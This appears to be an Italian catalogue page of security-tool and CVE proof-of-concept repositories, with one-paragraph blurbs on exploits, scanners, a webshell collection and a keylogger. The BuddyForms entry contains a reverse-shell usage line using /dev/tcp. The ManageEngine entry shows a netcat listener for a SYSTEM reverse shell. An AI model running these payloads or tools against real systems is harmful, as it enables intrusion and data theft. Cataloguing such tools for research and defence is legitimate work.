CVE-2026-27626-POC

CVE-2026-27626: Iniezione di comandi nell'argomento password di OliveTin OliveTin permette a un amministratore di definire "azioni": comandi shell con argomenti parametrizzati che gli utenti possono attivare da una web UI o da un'API. Prima di inserire un valore fornito dall'utente nel comando...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Inizialmente, CVE-2023–26326 richiedeva catene di gadget per essere sfruttata come vulnerabilità di deserializzazione. Questo metodo non è più fattibile sui siti WordPress più recenti che eseguono PHP 8+;...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - RCE critica in NGINX CVSS 9.2 Classificazione Categoria: 0-Day / Remote Code Execution CVE: CVE-2026-42945 CVSS: 9.2 Critico Data di scoperta: 12 maggio 2026 Data della patch: maggio 2026 rilascio trimestrale di sicurezza F5 Fonte: GitHub DepthFirstDisclosures/Nginx-Rift...

cisco-SNMP-enumeration

Cisc0wn - Script SNMP di Cisco Script di enumerazione SNMP, brute force, download di configurazioni e cracking delle password per Cisco. Testato e progettato per funzionare con switch e router Cisco IOS. Rilasciato come open source da NCC Group Plc - http://www.nccgroup.com/ Sviluppato da Daniel...

cve-2020-14008

CVE-2020-14008 Exploit per ManageEngine Cos'è? Questo script sfrutta la CVE-2020-14008 in ManageEngine Applications Manager per ottenere una reverse shell con privilegi SYSTEM. Requisiti root@kitploit: pip3 install requests urllib3 Come usarlo 1. Avvia un listener root@kitploit: nc -nlvp 9001 2...

CVE-2025-30208

CVE-2025-30208 — Lettura arbitraria di file in Vite · v5 CVE: CVE-2025-30208 GHSA: GHSA-x574-m823-4x7w Gravità: CVSS 5.3 Media dev server accessibile dalla rete ⚠ Esclusivamente per attività di sicurezza autorizzate. L'uso non autorizzato contro sistemi di cui non si possiede o non si ha esplicit...

Scalar-Venom-Attack

Questo documento analizza le vulnerabilità crittografiche scoperte nelle moderne infrastrutture di gestione delle chiavi crittografiche, con particolare attenzione ai difetti critici nell'architettura dei moduli di sicurezza hardware HSM nella gestione delle chiavi private a curva ellittica. Lo...

react

Dump di dati dagli internals di React Questo strumento è uno userscript rapido e sporco per Tampermonkey che scava un paio di livelli in qualsiasi pagina React e cerca una o più frasi fornite dall'utente. Lo strumento rende facile trovare il punto giusto nel DOM in cui React collega grandi blocch...

CVE-2024-12849-Poc

CVE-2024-12849-Poc 📜 Descrizione Il plugin Error Log Viewer By WP Guru per WordPress è vulnerabile alla Lettura Arbitraria di File in tutte le versioni fino alla 1.0.1.3 inclusa tramite l'azione AJAX wpajaxnoprivelvwplogdownload. Ciò consente ad attaccanti non autenticati di leggere il contenuto ...

CVE-2024-41628

CVE-2024-41628 Semplice script di exploit sviluppato da Redshift Cyber Security per sfruttare la vulnerabilità LFI CVE-2024-41628 di ClusterControl. La vulnerabilità interessa l'API CMON e in particolare le interfacce utente RPC e RPC-TLS che, per impostazione predefinita, risiedono rispettivamen...

CamTRON

CamTRON - Kamera-Scanner Ein automatisiertes Tool zur Erkennung von Überwachungsgeräten Kameras in Netzwerken. Funktionen Markenübergreifende Erkennung : Unterstützt 30+ Kameramarken, einschließlich Hikvision, Dahua, Axis, CCTV und mehr Hochleistungs-Scanning : Paralleles Scannen mit...

asminject

asminject.py asminject.py è un fork pesantemente modificato del progetto dlinject di David Buchanan. Inietta payload arbitrari in assembly o binari precompilati direttamente nei processi Linux x86-64, x86 e ARM32 accedendo a /proc//mem invece di agganciarsi tramite ptrace. Utile per manomettere...

libmempool

libmempool Nota preliminare: ti consigliamo di usarlo come parte di asatools, ma può essere usato anche in modo autonomo. libmempool è uno script Python e uno strumento di analisi GDB per aiutare nell'analisi delle strutture dati relative ai mempool presenti all'interno dei vari heap sui...

SSH_Enum_CVE-2018-15473

SSH Username Enumeration Exploit Questo script è una versione modificata di un exploit originale che consente di eseguire un'enumerazione degli utenti SSH su server vulnerabili OpenSSH 2.3 7.7. Funzionalità Lo script utilizza una vulnerabilità nel protocollo SSH per enumerare gli utenti validi su...

Alibab-Nacos-Unauthorized-Login

Impatto della vulnerabilità È stato scoperto un problema in Nacos che interessa Nacos = 2.1.0. Gli utenti di Nacos utilizzano la chiave JWT predefinita, causando una vulnerabilità di accesso non autorizzato. Attraverso questa vulnerabilità, gli aggressori possono aggirare l'autenticazione con nom...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 Proof of concept Writeup: https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ Lo script Python sfrutta la funzione di upload disponibile senza autenticazione su /admin/files-upload/ Lo script crea localmente una cartella bin e un file...

tp-link-decrypt

NOTA a partire dal 5 ottobre 2025 questo progetto è ora deprecato. Nate Robbins ha gentilmente preso in carico il progetto e ha aggiunto la decrittazione degli switch - https://github.com/robbins/tp-link-decrypt...

webshell

webshell | English | Türkiye Questo è un progetto di raccolta di webshell Chi dona rose, conserva il profumo nella mano: se scaricate questo progetto, vi preghiamo di inviare anche voi delle shell Questo progetto comprende vari script di uso comune Come: asp, aspx, php, jsp, pl, py Quando inviate...

Xenotix-Python-Keylogger

Xenotix Python Keylogger per Windows IMPORTANTE: LO SVILUPPO E IL SUPPORTO DEL PROGETTO SONO INTERROTTI uso: xenotixpythonlogger.py mode optional modalità: local: salva i log in un file keylogs.txt remote: invia i log a un modulo Google. Devi specificare l'URL del modulo e il nome del campo nello...

CVE-2026-42945

NGINX CVE-2026-42945 Rift — laboratorio difensivo locale Due istanze NGINX containerizzate: snippet "riscritta rischiosa" basato su pattern vs snippet corretto con named capture, bloccati rispettivamente su nginx:1.30.0-alpine / nginx:1.30.1-alpine. Gli script eseguono curl innocui, generano dump...